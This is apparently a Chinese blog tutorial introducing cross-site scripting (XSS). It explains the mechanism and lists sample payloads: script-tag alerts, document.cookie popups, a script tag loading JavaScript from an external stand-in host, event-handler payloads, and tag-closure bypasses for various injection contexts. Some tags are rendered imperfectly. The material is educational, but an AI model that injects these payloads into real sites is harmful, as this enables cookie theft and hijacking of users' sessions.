发布时间:2024-03-31 15:01
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
恶意攻击者往 Web 页面里插入恶意 Script 代码(我说:插入的过程类似于注入),当用户浏览该页面时,嵌入 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。
XSS 攻击针对的是用户层面的攻击!
HTML 是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是 HTML 标签的开始,与之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了 HTML 标签,当这些 HTML 标签引入了一段 JavaScript 脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生 XSS 漏洞。
以下所有标签的 > 都可以用 // 代替, 例如
标签是最直接的 XSS 有效载荷,脚本标记可以引用外部的 JavaScript 代码,也可以将代码插入脚本标记中:
(关于 web 基础, 的介绍可以参见我的另一篇文章:【Web】JavaScript 简介)
<script>alert(\"hack\")script> #弹出hack
<script>alert(/hack/)script> #弹出hack
<script>alert(1)script> #弹出1,对于数字可以不用引号
<script>alert(document.cookie)script> #弹出cookie
<script src=http://xxx.com/xss.js>script> #引用外部的xss
<svg onload=\"alert(1)\">
<img src=1 οnerrοr=alert(document.cookie)> #弹出cookie
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>
<video οnlοadstart=alert(1) src=\"/media/hack-the-planet.mp4\" />
<style οnlοad=alert(1)>style>
#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
<script>alert(\'hack\')script>
#用户输入作为标签属性名,导致攻击者可以进行闭合绕过
<div 用户输入=\"xx\"> div>
<div >div><script>alert(\'hack\')script><div a=\"xx\"> div>
#用户输入作为标签属性值,导致攻击者可以进行闭合绕过
<div id=\"用户输入\">div>
<div id=\"\">div><script>alert(\'hack\')script><div a=\"x\">div>
#用户输入作为标签名,导致攻击者可以进行闭合绕过
<用户输入 id=\"xx\" />
<><script>alert(\'hack\')script><b id=\"xx\" />
#用户输入作为CSS内容,导致攻击者可以进行闭合绕过
<style>用户输入